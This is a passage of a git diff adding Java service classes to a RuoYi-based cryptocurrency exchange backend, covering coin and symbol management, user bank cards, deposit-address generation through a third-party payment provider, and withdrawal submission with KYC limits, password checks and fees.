tSpontaneousCoin.setCreateTime(DateUtils.getNowDate()); + tSpontaneousCoin.setCreateBy(SecurityUtils.getUsername()); + tSpontaneousCoin.setUpdateTime(DateUtils.getNowDate()); + tSpontaneousCoin.setUpdateBy(SecurityUtils.getUsername()); + int i = tSpontaneousCoinMapper.insertTSpontaneousCoin(tSpontaneousCoin); + KlineSymbol klineSymbol = new KlineSymbol() + .setSymbol(tSpontaneousCoin.getCoin().toLowerCase()) + .setSlug(tSpontaneousCoin.getCoin().toUpperCase()) + .setLogo(tSpontaneousCoin.getLogo()) + .setMarket("echo") + .setReferMarket(tSpontaneousCoin.getReferMarket()) + .setReferCoin(tSpontaneousCoin.getReferCoin()) + .setProportion(tSpontaneousCoin.getProportion()); + klineSymbolMapper.insert(klineSymbol); + + //监听获取新的kline +// HashMap object = new HashMap<>(); +// object.put(tSpontaneousCoin.getCoin(),tSpontaneousCoin.getReferCoin()+"usdt"); +// redisUtil.addStream(redisStreamNames,object); + return i; + } + + /** + * 修改自发币种配置 + * + * @param tSpontaneousCoin 自发币种配置 + * @return 结果 + */ + @Override + public int updateTSpontaneousCoin(TSpontaneousCoin tSpontaneousCoin) + { + tSpontaneousCoin.setUpdateTime(DateUtils.getNowDate()); + return tSpontaneousCoinMapper.updateTSpontaneousCoin(tSpontaneousCoin); + } + + /** + * 批量删除自发币种配置 + * + * @param ids 需要删除的自发币种配置主键 + * @return 结果 + */ + @Override + public int deleteTSpontaneousCoinByIds(Long[] ids) + { + return tSpontaneousCoinMapper.deleteTSpontaneousCoinByIds(ids); + } + + /** + * 删除自发币种配置信息 + * + * @param id 自发币种配置主键 + * @return 结果 + */ + @Transactional + @Override + public int deleteTSpontaneousCoinById(Long id) + { + TSpontaneousCoin tSpontaneousCoin = tSpontaneousCoinMapper.selectById(id); + if (Objects.nonNull(tSpontaneousCoin)){ + klineSymbolMapper.delete(new LambdaQueryWrapper() + .eq(KlineSymbol::getSymbol, tSpontaneousCoin.getCoin()) + .eq(KlineSymbol::getMarket, "echo")); + } + return tSpontaneousCoinMapper.deleteTSpontaneousCoinById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSymbolManageServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSymbolManageServiceImpl.java new file mode 100644 index 0000000..1e41595 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSymbolManageServiceImpl.java @@ -0,0 +1,165 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; + +import java.math.BigDecimal; +import java.net.URISyntaxException; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; + +import com.ruoyi.bussiness.domain.KlineSymbol; +import com.ruoyi.bussiness.domain.TSymbolManage; +import com.ruoyi.bussiness.mapper.KlineSymbolMapper; +import com.ruoyi.bussiness.mapper.TSymbolManageMapper; +import com.ruoyi.bussiness.service.ITSymbolManageService; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.RedisUtil; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.socket.service.MarketThread; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; + +/** + * 币种管理Service业务层处理 + * + * @author ruoyi + * @date 2023-07-12 + */ +@Service +public class TSymbolManageServiceImpl extends ServiceImpl implements ITSymbolManageService +{ + @Resource + private TSymbolManageMapper tSymbolManageMapper; + @Resource + private KlineSymbolMapper klineSymbolMapper; + @Resource + private RedisUtil redisUtil; + @Value("${api-redis-stream.names}") + private String redisStreamNames; + + /** + * 查询币种管理 + * + * @param id 币种管理主键 + * @return 币种管理 + */ + @Override + public TSymbolManage selectTSymbolManageById(Long id) + { + return tSymbolManageMapper.selectTSymbolManageById(id); + } + + /** + * 查询币种管理列表 + * + * @param tSymbolManage 币种管理 + * @return 币种管理 + */ + @Override + public List selectTSymbolManageList(TSymbolManage tSymbolManage) + { + return tSymbolManageMapper.selectTSymbolManageList(tSymbolManage); + } + + /** + * 新增币种管理 + * + * @param tSymbolManage 币种管理 + * @return 结果 + */ + @Override + public int insertTSymbolManage(TSymbolManage tSymbolManage) + { + tSymbolManage.setCreateTime(DateUtils.getNowDate()); + tSymbolManage.setDelFlag("0"); + tSymbolManage.setSymbol(tSymbolManage.getSymbol().toLowerCase()); + List kList = klineSymbolMapper.selectList(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, tSymbolManage.getSymbol().toUpperCase())); + if (!CollectionUtils.isEmpty(kList)){ + tSymbolManage.setLogo(kList.get(0).getLogo()); + } + int i = tSymbolManageMapper.insertTSymbolManage(tSymbolManage); + HashMap object = new HashMap<>(); + object.put("add_coin",tSymbolManage.getSymbol()); + redisUtil.addStream(redisStreamNames,object); + return i; + } + + /** + * 修改币种管理 + * + * @param tSymbolManage 币种管理 + * @return 结果 + */ + @Override + public int updateTSymbolManage(TSymbolManage tSymbolManage) + { + tSymbolManage.setUpdateTime(DateUtils.getNowDate()); + tSymbolManage.setSymbol(tSymbolManage.getSymbol().toLowerCase()); + List kList = klineSymbolMapper.selectList(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, tSymbolManage.getSymbol().toUpperCase())); + if (!CollectionUtils.isEmpty(kList)){ + tSymbolManage.setLogo(kList.get(0).getLogo()); + } + + return tSymbolManageMapper.updateTSymbolManage(tSymbolManage); + } + + /** + * 批量删除币种管理 + * + * @param ids 需要删除的币种管理主键 + * @return 结果 + */ + @Override + public int deleteTSymbolManageByIds(Long[] ids) + { + return tSymbolManageMapper.deleteTSymbolManageByIds(ids); + } + + /** + * 删除币种管理信息 + * + * @param id 币种管理主键 + * @return 结果 + */ + @Override + public int deleteTSymbolManageById(Long id) + { + return tSymbolManageMapper.deleteTSymbolManageById(id); + } + + @Override + public List selectSymbolList(TSymbolManage tSymbolManage) { + return tSymbolManageMapper.selectSymbolList(tSymbolManage); + } + + @Override + public boolean addBatch(String[] symbols) { + List list = new ArrayList(); + for (int i = 0; i < symbols.length; i++) { + List kList = klineSymbolMapper.selectList(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, symbols[i].toUpperCase())); + TSymbolManage tSymbolManage = new TSymbolManage(); + tSymbolManage.setSymbol(symbols[i]); + tSymbolManage.setEnable("1"); + tSymbolManage.setMinChargeNum(BigDecimal.ONE); + tSymbolManage.setMaxChargeNum(new BigDecimal("100000")); + tSymbolManage.setCommission(new BigDecimal("0.1")); + tSymbolManage.setSort(0); + tSymbolManage.setDelFlag("0"); + if (!CollectionUtils.isEmpty(kList)){ + tSymbolManage.setLogo(kList.get(0).getLogo()); + } + tSymbolManage.setCreateBy(SecurityUtils.getUsername()); + tSymbolManage.setUpdateBy(SecurityUtils.getUsername()); + tSymbolManage.setCreateTime(DateUtils.getNowDate()); + tSymbolManage.setUpdateTime(DateUtils.getNowDate()); + list.add(tSymbolManage); + } + + return this.saveBatch(list); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSymbolsServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSymbolsServiceImpl.java new file mode 100644 index 0000000..b77e8c2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSymbolsServiceImpl.java @@ -0,0 +1,93 @@ +package com.ruoyi.bussiness.service.impl; + +import java.util.List; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TSymbolsMapper; +import com.ruoyi.bussiness.domain.TSymbols; +import com.ruoyi.bussiness.service.ITSymbolsService; + +/** + * 支持币种Service业务层处理 + * + * @author ruoyi + * @date 2023-06-26 + */ +@Service +public class TSymbolsServiceImpl implements ITSymbolsService +{ + @Autowired + private TSymbolsMapper tSymbolsMapper; + + /** + * 查询支持币种 + * + * @param slug 支持币种主键 + * @return 支持币种 + */ + @Override + public TSymbols selectTSymbolsBySlug(String slug) + { + return tSymbolsMapper.selectTSymbolsBySlug(slug); + } + + /** + * 查询支持币种列表 + * + * @param tSymbols 支持币种 + * @return 支持币种 + */ + @Override + public List selectTSymbolsList(TSymbols tSymbols) + { + return tSymbolsMapper.selectTSymbolsList(tSymbols); + } + + /** + * 新增支持币种 + * + * @param tSymbols 支持币种 + * @return 结果 + */ + @Override + public int insertTSymbols(TSymbols tSymbols) + { + return tSymbolsMapper.insertTSymbols(tSymbols); + } + + /** + * 修改支持币种 + * + * @param tSymbols 支持币种 + * @return 结果 + */ + @Override + public int updateTSymbols(TSymbols tSymbols) + { + return tSymbolsMapper.updateTSymbols(tSymbols); + } + + /** + * 批量删除支持币种 + * + * @param slugs 需要删除的支持币种主键 + * @return 结果 + */ + @Override + public int deleteTSymbolsBySlugs(String[] slugs) + { + return tSymbolsMapper.deleteTSymbolsBySlugs(slugs); + } + + /** + * 删除支持币种信息 + * + * @param slug 支持币种主键 + * @return 结果 + */ + @Override + public int deleteTSymbolsBySlug(String slug) + { + return tSymbolsMapper.deleteTSymbolsBySlug(slug); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TUserBankServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TUserBankServiceImpl.java new file mode 100644 index 0000000..14fb678 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TUserBankServiceImpl.java @@ -0,0 +1,96 @@ +package com.ruoyi.bussiness.service.impl; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import java.util.List; +import com.ruoyi.common.utils.DateUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import com.ruoyi.bussiness.mapper.TUserBankMapper; +import com.ruoyi.bussiness.domain.TUserBank; +import com.ruoyi.bussiness.service.ITUserBankService; + +/** + * 银行卡Service业务层处理 + * + * @author ruoyi + * @date 2023-08-21 + */ +@Service +public class TUserBankServiceImpl extends ServiceImpl implements ITUserBankService +{ + @Autowired + private TUserBankMapper tUserBankMapper; + + /** + * 查询银行卡 + * + * @param id 银行卡主键 + * @return 银行卡 + */ + @Override + public TUserBank selectTUserBankById(Long id) + { + return tUserBankMapper.selectTUserBankById(id); + } + + /** + * 查询银行卡列表 + * + * @param tUserBank 银行卡 + * @return 银行卡 + */ + @Override + public List selectTUserBankList(TUserBank tUserBank) + { + return tUserBankMapper.selectTUserBankList(tUserBank); + } + + /** + * 新增银行卡 + * + * @param tUserBank 银行卡 + * @return 结果 + */ + @Override + public int insertTUserBank(TUserBank tUserBank) + { + tUserBank.setCreateTime(DateUtils.getNowDate()); + return tUserBankMapper.insertTUserBank(tUserBank); + } + + /** + * 修改银行卡 + * + * @param tUserBank 银行卡 + * @return 结果 + */ + @Override + public int updateTUserBank(TUserBank tUserBank) + { + tUserBank.setUpdateTime(DateUtils.getNowDate()); + return tUserBankMapper.updateTUserBank(tUserBank); + } + + /** + * 批量删除银行卡 + * + * @param ids 需要删除的银行卡主键 + * @return 结果 + */ + @Override + public int deleteTUserBankByIds(Long[] ids) + { + return tUserBankMapper.deleteTUserBankByIds(ids); + } + + /** + * 删除银行卡信息 + * + * @param id 银行卡主键 + * @return 结果 + */ + @Override + public int deleteTUserBankById(Long id) + { + return tUserBankMapper.deleteTUserBankById(id); + } +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TUserSymbolAddressServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TUserSymbolAddressServiceImpl.java new file mode 100644 index 0000000..1c55da2 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TUserSymbolAddressServiceImpl.java @@ -0,0 +1,184 @@ +package com.ruoyi.bussiness.service.impl; + +import com.alibaba.fastjson.JSONObject; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.TUserSymbolAddress; +import com.ruoyi.bussiness.domain.setting.ThirdPaySetting; +import com.ruoyi.bussiness.mapper.TUserSymbolAddressMapper; +import com.ruoyi.bussiness.service.ITUserSymbolAddressService; +import com.ruoyi.bussiness.service.SettingService; +import com.ruoyi.bussiness.service.ThirdPayFactory; +import com.ruoyi.bussiness.service.ThirdPayService; +import com.ruoyi.common.enums.ThirdTypeUncEmun; +import com.ruoyi.common.utils.StringUtils; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; + +/** + * 用户币种充值地址Service业务层处理 + * + * @author ruoyi + * @date 2023-07-12 + */ +@Service +@Slf4j +public class TUserSymbolAddressServiceImpl extends ServiceImpl implements ITUserSymbolAddressService { + @Autowired + private TUserSymbolAddressMapper tUserSymbolAddressMapper; + + @Autowired + private SettingService settingService; + /** + * 查询用户币种充值地址 + * + * @param id 用户币种充值地址主键 + * @return 用户币种充值地址 + */ + @Override + public TUserSymbolAddress selectTUserSymbolAddressById(Long id) { + return tUserSymbolAddressMapper.selectTUserSymbolAddressById(id); + } + + /** + * 查询用户币种充值地址列表 + * + * @param tUserSymbolAddress 用户币种充值地址 + * @return 用户币种充值地址 + */ + @Override + public List selectTUserSymbolAddressList(TUserSymbolAddress tUserSymbolAddress) { + return tUserSymbolAddressMapper.selectTUserSymbolAddressList(tUserSymbolAddress); + } + + /** + * 新增用户币种充值地址 + * + * @param tUserSymbolAddress 用户币种充值地址 + * @return 结果 + */ + @Override + public int insertTUserSymbolAddress(TUserSymbolAddress tUserSymbolAddress) { + int count = tUserSymbolAddressMapper.selectCount(new LambdaQueryWrapper().eq(TUserSymbolAddress::getSymbol, tUserSymbolAddress.getSymbol()).eq(TUserSymbolAddress::getUserId,tUserSymbolAddress.getUserId())); + if (count > 0) { + return 10001; + } + return tUserSymbolAddressMapper.insertTUserSymbolAddress(tUserSymbolAddress); + } + + /** + * 修改用户币种充值地址 + * + * @param tUserSymbolAddress 用户币种充值地址 + * @return 结果 + */ + @Override + public int updateTUserSymbolAddress(TUserSymbolAddress tUserSymbolAddress) { + return tUserSymbolAddressMapper.updateTUserSymbolAddress(tUserSymbolAddress); + } + + /** + * 批量删除用户币种充值地址 + * + * @param ids 需要删除的用户币种充值地址主键 + * @return 结果 + */ + @Override + public int deleteTUserSymbolAddressByIds(Long[] ids) { + return tUserSymbolAddressMapper.deleteTUserSymbolAddressByIds(ids); + } + + /** + * 删除用户币种充值地址信息 + * + * @param id 用户币种充值地址主键 + * @return 结果 + */ + @Override + public int deleteTUserSymbolAddressById(Long id) { + return tUserSymbolAddressMapper.deleteTUserSymbolAddressById(id); + } + + @Override + public Map getUserRechargeAdressList(Long userId) { + TUserSymbolAddress tUserSymbolAddress = new TUserSymbolAddress(); + tUserSymbolAddress.setUserId(userId); + List list = tUserSymbolAddressMapper.selectTUserSymbolAddressList(tUserSymbolAddress); + Map map = new HashMap<>(); + if(Objects.isNull(list)){ + return map; + } + for (TUserSymbolAddress userSymbolAddress : list) { + map.put(userSymbolAddress.getSymbol(), userSymbolAddress.getAddress()); + } + return map; + } + + public Map getAdredssByCoin(String coin, String symbol, Long userId) { + Map map=new HashMap<>(); + //301 U盾 + ThirdPaySetting setting= settingService.getThirdPaySetting(ThirdTypeUncEmun.UNCDUN.getValue()); + if(Objects.isNull(setting)){ + log.info("查询U盾地址为空 采取自动配置"); + TUserSymbolAddress tUserSymbolAddress = new TUserSymbolAddress(); + tUserSymbolAddress.setUserId(userId); + tUserSymbolAddress.setSymbol(symbol); + List list = tUserSymbolAddressMapper.selectTUserSymbolAddressList(tUserSymbolAddress); + for (TUserSymbolAddress userSymbolAddress : list) { + map.put(userSymbolAddress.getSymbol(), userSymbolAddress.getAddress()); + } + return map; + } + ThirdPayService thirdPayService = ThirdPayFactory.getThirdpay(setting.getCompanyName()); + try { + int count = tUserSymbolAddressMapper.selectCount(new LambdaQueryWrapper().eq(TUserSymbolAddress::getSymbol, symbol).eq(TUserSymbolAddress::getUserId, userId)); + if (count == 0) { + if("0".equals(setting.getThirdPayStatu())){ + JSONObject jsonObject = thirdPayService.createAdress(coin,symbol,userId,setting); + String adress= jsonObject.getString("adress"); + if (StringUtils.isEmpty(adress)) { + return map; + } + TUserSymbolAddress btcAddress = new TUserSymbolAddress(); + btcAddress.setAddress(adress); + btcAddress.setUserId(userId); + btcAddress.setSymbol(symbol); + this.insertTUserSymbolAddress(btcAddress); + map.put(symbol,adress); + } + return map; + }else { + TUserSymbolAddress userSymbolAddress= tUserSymbolAddressMapper.selectOne(new LambdaQueryWrapper().eq(TUserSymbolAddress::getSymbol, symbol).eq(TUserSymbolAddress::getUserId, userId)); + if(Objects.nonNull(userSymbolAddress)){ + map.put(userSymbolAddress.getSymbol(),userSymbolAddress.getAddress()); + return map; + } + } + + }catch (Exception e){ + e.printStackTrace(); + } + return map; + } + + @Override + public boolean check(String symbol, String adress) { + ThirdPaySetting setting= settingService.getThirdPaySetting(ThirdTypeUncEmun.UNCDUN.getValue()); + if(Objects.isNull(setting)){ + return false; + } + ThirdPayService thirdPayService = ThirdPayFactory.getThirdpay(setting.getCompanyName()); + return thirdPayService.existAdress(symbol,adress,setting); + } + + @Override + public ThirdPaySetting getThirdPaySetting(String code) { + return settingService.getThirdPaySetting("301"); + } + +} diff --git a/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TWithdrawServiceImpl.java b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TWithdrawServiceImpl.java new file mode 100644 index 0000000..3fdb846 --- /dev/null +++ b/ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TWithdrawServiceImpl.java @@ -0,0 +1,536 @@ +package com.ruoyi.bussiness.service.impl; + +import cn.dev33.satoken.stp.StpUtil; +import cn.hutool.core.date.DateUtil; +import cn.hutool.json.JSONUtil; +import com.alibaba.fastjson.JSON; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; +import com.ruoyi.bussiness.domain.*; +import com.ruoyi.bussiness.domain.setting.AddMosaicSetting; +import com.ruoyi.bussiness.domain.setting.AuthLimitSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.domain.setting.TRechargeChannelSetting; +import com.ruoyi.bussiness.domain.vo.WithdrawFreezeVO; +import com.ruoyi.bussiness.mapper.TAppUserDetailMapper; +import com.ruoyi.bussiness.mapper.TAppUserMapper; +import com.ruoyi.bussiness.mapper.TWithdrawMapper; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.core.domain.entity.SysDictData; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.*; +import com.ruoyi.common.utils.*; +import com.ruoyi.socket.dto.NoticeVO; +import com.ruoyi.system.service.ISysDictTypeService; +import com.ruoyi.system.service.ISysUserService; +import lombok.extern.slf4j.Slf4j; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.transaction.interceptor.TransactionAspectSupport; +import org.springframework.util.CollectionUtils; + +import javax.annotation.Resource; +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.sql.SQLOutput; +import java.util.*; +import java.util.concurrent.atomic.AtomicReference; + +/** + * 用户提现Service业务层处理 + * + * @author ruoyi + * @date 2023-07-04 + */ +@Service +@Slf4j +public class TWithdrawServiceImpl extends ServiceImpl implements ITWithdrawService { + @Resource + private TWithdrawMapper tWithdrawMapper; + @Resource + private ITAppAssetService tAppAssetService; + @Resource + private TAppUserMapper tAppUserMapper; + @Resource + private TAppUserDetailMapper tAppUserDetailMapper; + @Resource + private ITAppRechargeService appRechargeService; + @Resource + private RedisCache redisCache; + @Resource + private ITAppWalletRecordService appWalletRecordService; + @Resource + private SettingService settingService; + @Resource + private ISysUserService sysUserService; + @Resource + private ISysDictTypeService sysDictTypeService; + + @Resource + private RedisUtil redisUtil; + @Value("${admin-redis-stream.names}") + private String redisStreamNames; + + /** + * 查询用户提现 + * + * @param id 用户提现主键 + * @return 用户提现 + */ + @Override + public TWithdraw selectTWithdrawById(Long id) { + return tWithdrawMapper.selectTWithdrawById(id); + } + + /** + * 查询用户提现列表 + * + * @param tWithdraw 用户提现 + * @return 用户提现 + */ + @Override + public List selectTWithdrawList(TWithdraw tWithdraw) { + return tWithdrawMapper.selectTWithdrawList(tWithdraw); + } + + /** + * 新增用户提现 + * + * @param tWithdraw 用户提现 + * @return 结果 + */ + @Override + public int insertTWithdraw(TWithdraw tWithdraw) { + tWithdraw.setCreateTime(DateUtils.getNowDate()); + return tWithdrawMapper.insertTWithdraw(tWithdraw); + } + + /** + * 修改用户提现 + * + * @param tWithdraw 用户提现 + * @return 结果 + */ + @Override + public int updateTWithdraw(TWithdraw tWithdraw) { + tWithdraw.setUpdateTime(DateUtils.getNowDate()); + return tWithdrawMapper.updateTWithdraw(tWithdraw); + } + + /** + * 批量删除用户提现 + * + * @param ids 需要删除的用户提现主键 + * @return 结果 + */ + @Override + public int deleteTWithdrawByIds(Long[] ids) { + return tWithdrawMapper.deleteTWithdrawByIds(ids); + } + + /** + * 删除用户提现信息 + * + * @param id 用户提现主键 + * @return 结果 + */ + @Override + public int deleteTWithdrawById(Long id) { + return tWithdrawMapper.deleteTWithdrawById(id); + } + + + @Override + public String submit(BigDecimal amount, String coinType, String pwd, String adress, String coin) { + log.info("用户提现入参:amount:{},coinType:{},adress:{},coin:{},",amount,coinType,adress,coin); + if(StringUtils.isEmpty(adress) || adress.trim().contains(" ")){ + return MessageUtils.message("withdraw.address.isnull"); + } + if(StringUtils.isEmpty(coin)){ + coin = coinType.toLowerCase().replace("-erc","").replace("-trc","").trim(); + } + Long userId = StpUtil.getLoginIdAsLong(); + log.info("提现userId"+userId); + log.info("id============="+userId); + TAppUser user = tAppUserMapper.selectTAppUserByUserId(userId); + TAppUserDetail tAppUserDetail = tAppUserDetailMapper.selectOne(new LambdaQueryWrapper().eq(TAppUserDetail::getUserId, userId)); + //资产 + Map assetMap = tAppAssetService.getAssetByUserIdList(userId); + //实名认证限额 效验 + Boolean flag = true; + Setting authSetting = settingService.get(SettingEnum.AUTH_LIMIT.name()); + if (null != authSetting) { + AuthLimitSetting authLimitSetting = JSONUtil.toBean(authSetting.getSettingValue(), AuthLimitSetting.class); + if ((Objects.nonNull(authLimitSetting.getIsOpenSenior()) && authLimitSetting.getIsOpenSenior()) || (Objects.nonNull(authLimitSetting.getIsOpenPrimary()) && authLimitSetting.getIsOpenPrimary())) { + BigDecimal amountHs; + TAppAsset tAppAsset = assetMap.get(coin + userId); + if (Objects.nonNull(tAppAsset)){ + if ("usdt".equals(coin.toLowerCase())){ + amountHs = amount; + }else{ + BigDecimal currencyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.toLowerCase()); + amountHs = amount.multiply(currencyPrice); + } + }else{ + amountHs = amount; + } +// else{ +// BigDecimal currencyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.toUpperCase()+"USD"); +// if (Objects.isNull(currencyPrice)){ +// currencyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + "USD"+coin.toUpperCase()); +// if (Objects.isNull(currencyPrice)){ +// return MessageUtils.message("withdraw_error_rate"); +// }else{ +// currencyPrice = BigDecimal.ONE.divide(currencyPrice); +// } +// } +// amountHs = amount.multiply(currencyPrice); +// } + + if (Boolean.TRUE.equals(authLimitSetting.getIsOpenPrimary())) { + //初级限额 开启 + //初级限额 额度 + BigDecimal primaryLimit = (authLimitSetting.getPrimaryLimit() == null ? BigDecimal.ZERO : authLimitSetting.getPrimaryLimit()); + if (null == tAppUserDetail.getAuditStatusPrimary() || !AuditStatusEnum.EXAMINATION_PASSED.getCode().equals(tAppUserDetail.getAuditStatusPrimary())) { + //未初级认证 或者认证不通过 + if (amountHs.compareTo(primaryLimit) > 0) { + flag = false; + } + } + } + if (Boolean.TRUE.equals(authLimitSetting.getIsOpenSenior())) { + //高级限额 开启 + //已初级认证 高级认证 + BigDecimal seniorLimit = (authLimitSetting.getSeniorLimit() == null ? BigDecimal.ZERO : authLimitSetting.getSeniorLimit()); + if (null == tAppUserDetail.getAuditStatusAdvanced() || !AuditStatusEnum.EXAMINATION_PASSED.getCode().equals(tAppUserDetail.getAuditStatusAdvanced())) { + //已初级认证 高级认证不通过 + if (amountHs.compareTo(seniorLimit) > 0) { + flag = false; + } + } + } + //初级认证 高级认证 都认证 + if (null != tAppUserDetail.getAuditStatusPrimary() && null != tAppUserDetail.getAuditStatusAdvanced() && AuditStatusEnum.EXAMINATION_PASSED.getCode().equals(tAppUserDetail.getAuditStatusAdvanced()) && AuditStatusEnum.EXAMINATION_PASSED.getCode().equals(tAppUserDetail.getAuditStatusPrimary())) { + flag = true; + } + } + } + if (!flag) { + return MessageUtils.message("withdraw.kyc.error"); + } + if (StringUtils.isEmpty(tAppUserDetail.getUserTardPwd())) { + return MessageUtils.message("user.password_notbind"); + } + //增加密码校验 + if (!SecurityUtils.matchesPassword(pwd, tAppUserDetail.getUserTardPwd())) { + return MessageUtils.message("tard_password.error"); + } + Setting setting = settingService.get(SettingEnum.WITHDRAWAL_CHANNEL_SETTING.name()); + TRechargeChannelSetting set = null; + List tRechargeChannelSettings = JSONUtil.toList(JSONUtil.parseArray(setting.getSettingValue()), TRechargeChannelSetting.class); + for (TRechargeChannelSetting tRechargeChannelSetting : tRechargeChannelSettings) { + if (tRechargeChannelSetting.getRechargeName().equals(coinType)) { + set = tRechargeChannelSetting; + break; + } + } + if (set == null) { + return MessageUtils.message("withdraw_error"); + } + //当日提现次数 + int num = set.getDayWithdrawalNum(); + String today = DateUtil.today(); + Integer integer = this.baseMapper.selectCount(new LambdaQueryWrapper().eq(TWithdraw::getUserId, user.getUserId()).ge(TWithdraw::getCreateTime, today)); + if (integer >= num) { + return MessageUtils.message("withdraw.amount_number_exceed"); + } + + //系统免费次数 + int sysFreeNum = set.getFreeNum(); + boolean isFree = false; + if (sysFreeNum > integer) { + + isFree = true; + redisCache.setCacheObject(CacheConstants.WITHDRAW + today + ":" + user.getUserId(), integer + 1); + } + BigDecimal lowest = set.getWithdrawalMix(); + BigDecimal high = set.getWithdrawalMax(); + //提现比例 + BigDecimal ratio = BigDecimal.ZERO; + //固定提现手续费 + BigDecimal fixedFee = BigDecimal.ZERO; + BigDecimal fee = BigDecimal.ZERO; + BigDecimal beforeMount = BigDecimal.ZERO; + String remark = coinType + "提现"; + + if (!isFree) { + ratio = set.getRatio(); + fixedFee = set.getFee(); + // 新增字段 fixedFee 可能没有 没有的话默认未0 + if (fixedFee == null) { + fixedFee = BigDecimal.ZERO; + } + } + //U提现 + //不能超过钱包 + String finalCoin = coin; + BigDecimal finalamount = amount; + BigDecimal price = null; + TAppAsset appAsset = assetMap.get(coin + user.getUserId()); + if (Objects.isNull(appAsset)) { + AtomicReference flg = new AtomicReference<>(false); + List backCoinList = sysDictTypeService.selectDictDataByType("t_bank_coin"); + if (!CollectionUtils.isEmpty(backCoinList)){ + backCoinList.stream().forEach(a ->{ + if (a.getDictValue().equals(finalCoin)){ + flg.set(true); + } + }); + if (flg.get()){ + price = coin.toUpperCase().equals("USD")?BigDecimal.ONE:redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + coin.toUpperCase() + "USD"); + if (Objects.isNull(price)){ + price = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + "USD"+coin.toUpperCase()); + if (Objects.isNull(price)){ + return MessageUtils.message("withdraw_error_rate"); + }else{ + coin = "usdt"; + finalamount = amount.multiply(price); + appAsset = assetMap.get(coin + user.getUserId()); + } + }else{ + coin = "usdt"; + finalamount = amount.multiply(BigDecimal.ONE.divide(price,6, RoundingMode.DOWN)); + appAsset = assetMap.get(coin + user.getUserId()); + } + }else{ + return MessageUtils.message("withdraw_error_coin"); + } + } + } + log.info("用户钱包:{}",appAsset.toString()); + if (Objects.isNull(appAsset)) { + return MessageUtils.message("withdraw_error"); + } + //最小效验 + if (appAsset.getAvailableAmount().compareTo(amount) < 0 || amount.compareTo(lowest) < 0) { + return MessageUtils.message("withdraw.amount_error"); + } + //超过最大值 + if (amount.compareTo(high) > 0) { + return MessageUtils.message("withdraw.amount_error"); + } + + beforeMount = appAsset.getAvailableAmount(); + if (appAsset.getAvailableAmount().compareTo(amount) < 0) { + return MessageUtils.message("withdraw_error"); + } + + //提现打码设置 + Setting addMosaicSetting = settingService.get(SettingEnum.ADD_MOSAIC_SETTING.name()); + if (Objects.nonNull(addMosaicSetting)) { + AddMosaicSetting addMosaic = JSONUtil.toBean(addMosaicSetting.getSettingValue(), AddMosaicSetting.class); + if (Objects.nonNull(addMosaic) && Objects.nonNull(addMosaic.getIsOpen()) + && addMosaic.getIsOpen()) { + if (Objects.isNull(user.getRechargeAmont())) user.setRechargeAmont(BigDecimal.ZERO); + if (user.getTotleAmont().compareTo(user.getRechargeAmont()) < 0) { + return MessageUtils.message("withdraw_require_error"); + } + } + } + + + TWithdraw withdraw = new TWithdraw(); + withdraw.setAmount(amount); + withdraw.setReceiptAmount(finalamount); + + withdraw.setCoin(coin); + withdraw.setReceiptCoin(finalCoin); + + withdraw.setType(coinType); + withdraw.setStatus(0); + 